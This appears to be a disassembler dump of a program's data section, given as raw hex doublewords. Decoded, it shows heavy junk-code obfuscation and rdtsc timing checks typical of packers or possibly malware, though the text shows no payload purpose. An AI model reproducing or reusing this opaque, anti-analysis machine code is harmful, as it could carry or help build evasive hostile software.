		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 3008C3C3h, 0FDBD09ACh, 0AD06031Dh, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 5526C350h, 0BF66F6A9h,	6A7A08h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 3D147AC3h, 0FA8BFCE5h, 5B1FCF81h, 880D56A4h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 42A5C353h, 7F4104BCh, 8B84B7CAh, 320A595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 538C51DDh, 760F6A56h, 12E97Ah, 0B4D0000h
		dd 12BD91B5h, 66674C16h, 0FE3CFD08h, 5EDA20BCh,	7F98531h
		dd 8D8B0603h, 6031A65h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 17C35343h, 9D8B91FFh,	6031A3Dh, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E794D2C3h
		dd 815E47EFh, 590A96EBh, 0DBD8344h, 60321h, 0A1840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 7BED3EC3h, 91F47700h, 0E985C76Eh, 0Dh, 2B2E55EDh, 786E8808h
		dd 4149BD9Eh, 0E86060CAh, 9, 989813DDh,	654353E7h, 9D895EDAh
		dd 6032A3Dh, 0BD896061h, 6030355h, 61F2EB80h, 0B861h, 0BF660000h
		dd 8D89076Bh, 6032149h,	4D698D8Dh, 0FFF50603h, 52006AE1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 5AABCA31h, 0BC4C05B8h, 0D6E78166h, 4DBD8B93h, 83060324h
		dd 30071BDh, 840F0006h,	45Eh, 0DE8h, 9E64800h, 0F717BCA3h
		dd 52BB6052h, 0BD8B453Ch, 6033135h, 0FD9D035Bh,	83060316h
		dd 30071BDh, 840F0106h,	44Dh, 16499589h, 0BD830603h, 6030071h
		dd 4860F03h, 6A000004h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 3AA3C351h, 0BB6666FDh
		dd 0BF669E1Ah, 6A60BCA4h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 81B4C356h, 31E02F30h
		dd 3202585h, 9CF38106h,	665555F0h, 9D23D98Ch, 60315D1h
		dd 6A04E180h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 7D65C350h, 0F88B6665h,	2D41BD89h
		dd 0C90A0603h, 130840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0BD29E4C3h, 60305F9h
		dd 9AD858Bh, 33F90603h,	31A5985h, 99D8906h, 5006030Dh
		dd 1A4ABB66h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 574EC351h, 0B0C4B231h
		dd 2C2D8531h, 6A0603h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 1BC35747h, 685B51F8h,	0B432A0DFh, 81F98B66h
		dd 63202404h, 0F7814BECh, 1FC2F828h, 2E7195FFh,	6A0603h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 72F267C3h, 800F9B60h, 4, 0D834BF66h,	9E9h, 0DDEC6E00h
		dd 4EFBA50Bh, 8589D2FDh, 606A703h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 56C35040h, 0D781726Dh, 7A429DEFh
		dd 207E9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 95898F8Dh, 6031A55h, 93B2EB81h, 858B230Fh
		dd 606A6FBh, 205BBE60h,	0C76178ADh, 1800h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0DF9FE8D2h, 0A6FFB58Bh, 6A0606h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 3B30CDC3h
		dd 565DB0DDh, 719D2B8Ch, 8B06032Fh, 31F8985h, 0B4D78006h
		dd 6A0689h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 9BF650C3h, 0AD858BCCh, 6A060309h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 6699C352h, 0D455CB81h, 6A044689h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 90CC355h
		dd 7196B359h, 94D96E8Bh, 26A19D89h, 89500603h, 9E92434h
		dd 0F5000000h, 4A9752ECh, 16907503h, 0A6FBB5FFh, 6A0606h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0AC2494C3h, 819D8B68h, 0E806031Ch, 4, 1F03FFh, 0A6BB5250h
		dd 0F19BB70h, 6800F31h,	50000000h, 5A310F52h, 50585A58h
		dd 0DE3ABB66h, 424448Bh, 8BD88Bh, 448979B7h, 0BF660424h
		dd 6A58B666h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0ECCEC350h, 0A07B4D3Dh, 0B8BBD635h
		dd 1D7DBB66h, 0A703858Dh, 0BB660606h, 90F8F498h, 57505F50h
		dd 58D0Fh, 0E1BF0000h, 5B67DD57h, 60DD8A90h, 4F14C081h
		dd 10E93434h, 0E9000000h, 1701A7B5h, 777048E2h,	975E2BE4h
		dd 6118F866h, 2E7195FFh, 6A0603h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0AA0190C3h, 7185C761h
		dd 3060300h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 9D7BC353h, 259D3117h
		dd 83060309h, 6A703BDh,	840F0006h, 2Bh,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 82C35747h, 8254680Ah
		dd 0D95E153Ch, 1BE9DE8Ah, 50000000h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 0DE8C08Bh, 0AE000000h
		dd 46D819E7h, 91216D9Fh, 0C497EF1h, 3BB665Fh, 0FE8B66C5h
		dd 71BD83h, 0F030603h, 41E85h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 4B48635Ch
		dd 0D89017CFh, 3BD8387h, 606A7h, 3ED840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0C7382EC3h, 0EF1C1FFh, 30FDBD89h, 0B5FF0603h, 606A703h
		dd 26C19D8Bh, 95FF0603h, 6032A75h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0A5C35242h,	95900A9Ah, 6F9B531h
		dd 0B58B0603h, 606A6F7h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 7BC35242h, 88F0FB4h, 50000000h, 830Fh
		dd 0C75B0000h, 1000106h, 5BD0B00h, 8B060313h, 302F99Dh
		dd 890F9606h, 4, 1705BB66h, 8810F50h, 50000000h, 8E0Fh
		dd 965F0000h, 0DABF0F53h, 3B5FF5Bh, 6A0606A7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0F82C353h, 182h, 95FFF800h, 6032449h
		dd 1D8D9D8Bh, 0B58B0603h, 606A6F7h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 70C35242h, 0E8AE259Eh, 0Ch
		dd 701A386Bh, 6FC8BE49h, 0A011B041h, 0CE7ACCBFh, 858B5F07h
		dd 6033131h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	58C35646h, 8689B254h, 0C4h, 20A5958Bh, 0EB810603h
		dd 0DD633CFh, 6A04C283h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 126CC352h, 0D9BD2E0Fh
		dd 18059D8Bh, 0C3810603h, 6020E9ECh, 6A205089h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 242FC355h, 8B536099h, 32601B5h, 8FBE5E06h, 61439316h
		dd 0BB16858Dh, 6A0606h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 184229C3h, 0C11BCF9Fh, 89DA8B66h
		dd 0B886h, 0DF8BF900h, 0F57006Ah, 0FF5BF9B7h, 6A703B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 7311350Dh, 0E9D188F1h, 10h, 382D0F67h, 15D3DFCh
		dd 0D72894EDh, 0A530D729h, 0CFD95FFh, 6A0603h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 17EAB9C3h, 85C50105h, 668AE438h, 5096F98Bh, 0B3BF5250h
		dd 0F2B0EF5h, 3810F31h,	66000000h, 585ADF8Bh, 8501F596h
		dd 6030E85h, 0A703B5FFh, 12E90606h, 8C000000h, 0C960904Fh
		dd 0F318F69Fh, 0F08BB39Ch, 1FAEC082h, 0FFD88B34h, 32E7D95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0F442AD17h, 0F59F2272h, 26C9BD83h, 0F000603h
		dd 5984h, 7076BB00h, 0E850593Bh, 11h, 612F972Dh, 0E392DB24h
		dd 192C2414h, 7C97C427h, 11E9A3h, 0E20C0000h, 0FEC4705Fh
		dd 2E477F74h, 13C97CC5h, 5FBA73C4h, 6A243489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 17E0C356h, 22119509h, 0B5FF0603h, 606A703h, 29BD2B53h
		dd 5B060300h, 14B995FFh, 0CE90603h, 0BC000000h,	82BBB0CBh
		dd 45B90C69h, 0FFE61DDBh, 6A703B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0EE73B898h
		dd 0C9595FFh, 0BD290603h, 6031FA9h, 2D4DBD83h, 0F020603h
		dd 3684h, 75BD8B00h, 8B060320h,	323ED85h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 6B1E1CF1h, 0C63D81h,	79B58900h, 0C7060325h, 3308185h
		dd 6, 3820F00h,	0F000000h, 8166D8BFh, 0E9A920E3h, 0FFFFF297h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1FC35646h
		dd 799D89F9h, 8B060314h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 14E98Dh, 88030000h, 4355E083h
		dd 0FB1280C7h, 290C794Dh, 104E240Eh, 8D01C1E6h,	6031581h
		dd 68B0Fh, 0B5890000h, 6032531h, 1309858Dh, 0DF810603h
		dd 0EE99386h, 5040B390h, 0EEBD4FBFh, 0BD8B9072h, 6030375h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 7048E2C3h, 5E2BE477h, 89F86697h, 312C1B5h
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 9A9C351h, 3223D9Dh, 5F858D06h
		dd 6A060799h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 43EAC355h, 0F4302032h,	9D8B61E8h
		dd 60306DDh, 6870Fh, 0E7810000h, 6E801C69h, 6A05C083h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0B4C9C357h, 475E9BD8h, 0FFE54BBh,	8B509019h
		dd 6A90D9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8128B3C3h, 0B5A1EDCFh, 0CD9D8B52h, 6A060312h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 3810F16h, 66000000h, 6AFA8Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B6C35646h, 0D5BD0901h
		dd 0FF060322h, 31DF995h, 44EB8006h, 99338D8Dh, 0B5290606h
		dd 6030881h, 8953D1FFh,	3177DB5h, 0BD835F06h, 6031D89h
		dd 8D850F01h, 80000000h, 26AB5D7h, 16AD9D33h, 0E9900603h
		dd 13h,	0BC523B8Fh, 0F8EF5234h,	0B042515Bh, 81E395A8h
		dd 50B95345h, 14E950h, 0A75F0000h, 1A69586Bh, 50C64297h
		dd 0C14E3789h, 438A0632h, 905B5B92h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 70C35545h, 3E0C9897h, 465BD09h
		dd 95FF0603h, 6030CFDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0AEC35242h, 299EF79h,	0EAEE9h, 0E800h
		dd 815D0000h, 79969EDh,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0DD1B8BECh, 8B605150h
		dd 30D8995h, 0FEBF0F06h, 0BD8B5F61h, 6030909h, 9100858Dh
		dd 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 5EF713C3h, 6CD62C0Bh, 59516056h, 13AD8589h
		dd 5F610603h, 5DC78057h, 8B66505Bh, 240489DAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0F7C35040h, 0BAA2C674h
		dd 0FE8B6614h, 35FF64h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0BBE7C351h
		dd 6976515Dh, 64DF8B66h, 2589h,	6E90000h, 48000000h, 5ACBDED9h
		dd 185FF58h, 6A06031Dh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0F07AC353h,	8481C01Bh
		dd 0CB17F026h, 17618D89h, 0BD890603h, 6030BC5h,	6AFF6Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0A764D5C3h, 4828CF16h, 85896896h, 6030E51h, 1C61B589h
		dd 0B5FF0603h, 60317ADh, 23598D01h, 95FF0603h, 6031B4Dh
		dd 117E9h, 69F38100h, 662AD32Bh, 4FF9EB81h, 8B6600B0h
		dd 5370E6DFh, 22F5BD8Bh, 0E45F0603h, 0FE95371h,	0EC000000h
		dd 0B96D6719h, 8B616C04h, 0BA2DF1FEh, 3C5BAC15h, 0DD830F61h
		dd 0E9000000h, 0Dh, 0E5BFB390h,	6732E88Fh, 0B369137Ch
		dd 17BB66A6h, 0C8B60FE5h, 0E1F3A7BFh, 6BA31h, 89520000h
		dd 324D195h, 0C18B5F06h, 202EBF66h, 6004E8C1h, 0DA8B6660h
		dd 0BB0E081h, 0BB6105E6h, 5047A7E1h, 0E2F76661h, 0C82BD98Ah
		dd 8BDE8B66h, 9EC781D1h, 0E915DB61h, 0Ch, 25619D8Bh, 9D8B0603h
		dd 60326D5h, 4A9858Bh, 0BD8B0603h, 60305E5h, 55C38166h
		dd 7C08386h, 0C99BD89h,	0C0830603h, 7E900h, 0B64F0000h
		dd 68A796A1h, 0FD03B4Bh, 1183h,	0F5BD8B00h, 0E9060317h
		dd 38h,	6C99D89h, 8D8B0603h, 60322B5h, 0E1834BB3h, 21840F01h
		dd 66000000h, 0A583FB8Bh, 60322B5h, 5D9D8BFEh, 89060324h
		dd 304A995h, 8DBD3306h,	0E9060330h
		dd 0
		dd 6CBB58Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B7419C3h, 315C59Dh, 6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0D315C355h, 10E9h, 5FFE3100h, 1F2BB3BCh
		dd 0C48786EBh, 0CD53D9F7h, 0A595FFF2h, 0E9060323h, 10h
		dd 0D42A0A74h, 9561CE16h, 0A0AF9972h, 84649459h, 2A698D89h
		dd 50B90603h, 0F000008h, 0BB66FFB7h, 0E1836098h, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 9F3F2B13h, 0E19D09ECh, 0FC060303h, 0C02BFE8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A7C35545h, 0DBBF0F5Bh
		dd 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 43A3F6C3h, 0EF81F735h, 9842671h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 81FABF0Fh, 9F1949D3h,	880D51h
		dd 9D290000h, 6030975h,	20A5958Bh, 6A0603h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 51FB46C3h
		dd 83F072E2h, 21519D29h, 8D8B0603h, 6031A65h, 0C28B50FCh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 7C0EC351h, 71C75A48h, 3634406Ah, 21498D89h, 66600603h
		dd 9589F28Bh, 6030B59h,	0DBD8361h, 60321h, 6A840Fh, 0BE90000h
		dd 4C000000h, 3C8997E7h, 9D7BC8CAh, 0B88E17h, 0E8000000h
		dd 13h,	7B10B9D1h, 8F10ED05h, 0C9DB116Dh, 0B3CA29B0h, 3117B559h
		dd 32601B5h, 8D8D5F06h,	6034D69h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 84C35545h, 0E53AFBF1h, 32C5BD8Bh
		dd 9D010603h, 6032EC5h,	0EFB7E1FFh, 71BD83h, 0F000603h
		dd 4DF84h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0D56F3C9Ch, 94E75F9h, 30B3D9Dh, 71BD8306h
		dd 1060300h, 4C5840Fh, 8B600000h, 3182185h, 83F56106h
		dd 30071BDh, 860F0306h,	479h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 8BC35747h, 0F8E68911h, 16514798h
		dd 12E9h, 0C053D600h, 8CAFF509h, 29A2D51h, 0E8CCBF04h
		dd 601B6D09h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	7C35242h, 7301EB40h, 55BD89h, 8C660603h, 14E9D9h
		dd 203C0000h, 7E6A2F5Ah, 5C97A40Ch, 64E0ACh, 0C3AD1E86h
		dd 0E180FB0Ch, 52006A04h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 97C3BE12h, 0A9AD9C75h
		dd 5E9B17Eh, 37000000h,	757CF1FFh, 840FC90Ah, 19Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E3C35747h, 0DBA1B51Bh
		dd 75D07939h, 6830F6Fh,	89000000h, 32A6D9Dh, 0AD858B06h
		dd 6A060309h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0A9ACC357h, 0E25C0D3Fh, 6E8h
		dd 0C6A41D00h, 0BBCB47D2h, 319904CCh, 0EF81605Bh, 0D05216Bh
		dd 61C68B66h, 1A598533h, 6A0603h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 74F613C3h, 619D89F7h
		dd 306032Ch, 317699Dh, 839BBF06h, 50900CF0h, 90DE8B66h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 84C35646h
		dd 0ABA67370h, 1AE38096h, 68A0Fh, 9D330000h, 6032209h
		dd 4ABB006Ah, 0E819BED2h, 4, 1F03FFh, 8E9h, 5C930B00h
		dd 0FE62BA48h, 820F508Ah, 5, 0BAEDC1BBh, 24448B36h, 1FBF6604h
		dd 60008BFFh, 66C18B66h, 61F627B8h, 4244489h, 8B585B56h
		dd 0E58D89FBh, 0FF060325h, 32E7195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0C730697Eh
		dd 38F183A7h, 0BF667C30h, 858921F3h, 606A703h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E9C35747h, 0E9BBF471h
		dd 0Fh,	0B9F7247Dh, 9AC3134Eh, 35051338h, 6677FE19h, 0FE8BFB8Bh
		dd 1CAE9h, 8BFE8B00h, 6A6FB85h,	57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0ECD6AC4Ah
		dd 0D2480425h, 0B5896089h, 6032F29h, 15A98D8Bh,	0C7610603h
		dd 1800h, 79BD8B00h, 81060330h,	742735E7h, 0FFB58B09h
		dd 6A0606A6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 9F87C350h, 8536F8A4h, 7E9h, 1821C200h
		dd 0B6E04E34h, 0AE8h, 0FAA69000h, 0A569CD28h, 16EC261h
		dd 31CC995h, 858B5F06h,	6031F89h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0ABC35040h,	493D509Ah, 2619EF81h
		dd 689027Dh, 0EE9h, 385CA300h, 4D2208F5h, 0B2D835BAh, 8B094A25h
		dd 309AD85h, 4468906h, 0BD5BD8Bh, 50960603h, 0FDA8A52h
		dd 0DA8B6631h, 0E950585Ah, 14h,	0DA3B5748h, 438285E7h
		dd 0CA0D95CAh, 7629243Fh, 6AC2C5ECh, 3FF78096h,	0A6FBB5FFh
		dd 870F0606h, 8, 0DD858957h, 5B060322h,	0E6BB2568h, 14E806h
		dd 2DB50000h, 232BF7B6h, 0AC7E0AF0h, 8532062Ah,	0F24A046Fh
		dd 0BB664557h, 815B0D67h, 0B8DA2434h, 0B70F06F9h, 3858DDEh
		dd 0E80606A7h, 0Dh, 0B94DBB41h,	0C9122A4h, 9F163741h, 11E87Dh
		dd 0C0C10000h, 34241CB7h, 67658EFAh, 86AE89E9h,	8124832Ch
		dd 0FAAB23CFh, 605F5B5Ch, 0BD096160h, 60312E9h,	0DA8B9061h
		dd 8DEBBF50h, 6A904918h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 47B4C351h, 7195FFCDh
		dd 8B06032Eh, 304C9BDh,	7DBD8B06h, 61060330h, 85C7F88Bh
		dd 6030071h, 3,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	79C35747h, 0BD83ABC1h, 606A703h, 22840F00h, 66000000h
		dd 35E9FB8Bh, 89000000h, 32DD59Dh, 0FE906h, 0B3D20000h
		dd 752C8061h, 0BF2388A3h, 31629F15h, 0C3050D7h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 48F0Fh, 0BF660000h
		dd 6A2056h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 30E4EC3h,	0E3807E99h, 71BD83D0h, 3060300h
		dd 4BA850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 5DB4DC3h, 3BD830Dh, 606A7h, 48E840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0E397F1C3h, 0CF53730Bh, 0BE8050Fh, 0E000000h
		dd 723CD16Bh, 5758D95Ah, 0FD8A648Bh, 3B5FF5Bh, 560606A7h
		dd 1ACD8D89h, 8B5F0603h, 7595FFFEh, 6A06032Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0F33FC357h, 6881BC95h, 0B58B2395h, 606A6F7h
		dd 2F95B589h, 6C70603h,	10001h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 7FC35545h, 9E9h, 8E68D400h
		dd 0CCF2516Bh, 6096E5CDh, 0EE8h, 0D2E5F800h, 45AFA4E4h
		dd 679661B1h, 505E0B40h, 5A310F52h, 50615858h, 1507BB66h
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 7E4CDFF0h, 0B9BD297Eh, 0FF06032Eh, 6A703B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 60F36D51h, 6CDA8166h, 8D858940h,	61060323h
		dd 3354CCBFh, 4995FF0Eh, 6A060324h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 6529C352h
		dd 50DA2A98h, 0B58BB4FDh, 606A6F7h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 73C35545h, 33C872AAh, 47FD3581h
		dd 1D259D8Bh, 8BF50603h, 3313185h, 87BB6606h, 0C486890Dh
		dd 80000000h, 958BD2EFh, 60320A5h, 0B859D8Bh, 0BF0F0603h
		dd 4C283F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	8C35646h, 5E7F353Bh, 0EB809E83h, 20508986h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CCC35545h, 7AC67C8Ch
		dd 66442799h, 8D96D381h, 8DDE8B66h, 6BB1685h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 83EE3729h, 6810Fh, 0BD330000h, 6031B61h, 0B88689h, 0BB660000h
		dd 6A2743h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 19h,	0F3C35040h, 0D278837h, 8820F54h, 57000000h, 21759501h
		dd 0FF5B0603h, 6A703B5h, 19D8B06h, 8B060326h, 3219DBDh
		dd 0FD95FF06h, 3106030Ch, 326319Dh, 0AE85006h, 56000000h
		dd 4B1BC914h, 0BA893D10h, 38B0F29h, 66000000h, 895FD98Bh
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0FBCED0C3h, 64EA1419h, 5CF8166h, 3B5FF7Dh
		dd 890606A7h, 323A98Dh,	7D95FF06h, 6A06032Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 3FBEC350h, 91F7EC08h, 2B83E48Fh, 30091BDh, 0C9BD8306h
		dd 60326h, 80840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 190424h, 56460000h, 7DC276C3h, 8B2A486Ch
		dd 32EF1BDh, 1890F06h, 0FC000000h, 0DE896h, 6DA80000h
		dd 9F676B44h, 4EA91D44h, 60E55903h, 310F5250h, 820F585Ah
		dd 0
aA_pCj		db 'a_P',7,'j',0
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 6D5E01C3h, 9D0BACAAh, 603219Dh, 66C9DB80h, 0B5FFF98Bh
		dd 606A703h, 0B995FFF5h, 6A060314h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0E6BDC350h
		dd 0C4BC82D4h, 0FB8B1A0Ah, 2249BD8Bh, 8E90603h,	18000000h
		dd 2F9F3896h, 0FF405BD9h, 6A703B5h, 58D8906h, 0FF060324h
		dd 30C9595h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0CFD3B4DAh, 8394328Fh, 32D4DBDh
		dd 840F0206h, 53h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0E8C35343h, 6E9FF160h, 8BED20A5h, 323ED85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 7F2E2140h, 0FE8B3E51h, 660000C6h, 0C7EE46BFh
		dd 3308185h, 6,	0B870F00h, 60000000h, 2BDFB70Fh, 3004D85h
		dd 85896106h, 6032311h,	0FFF26FE9h, 8BDD8AFFh, 8DF98BC1h
		dd 3130985h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0C927042Ah, 29C9FC04h, 329B995h
		dd 0CE99006h, 64000000h, 8338109h, 0AAEABA00h, 50D5CA83h
		dd 5090D88Ah, 5FDAB70Fh, 6A12B3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 2BC35646h, 4993E6B2h, 68B0Fh
		dd 0BD010000h, 6030AEDh, 1E39BD29h, 6A0603h, 1B058D29h
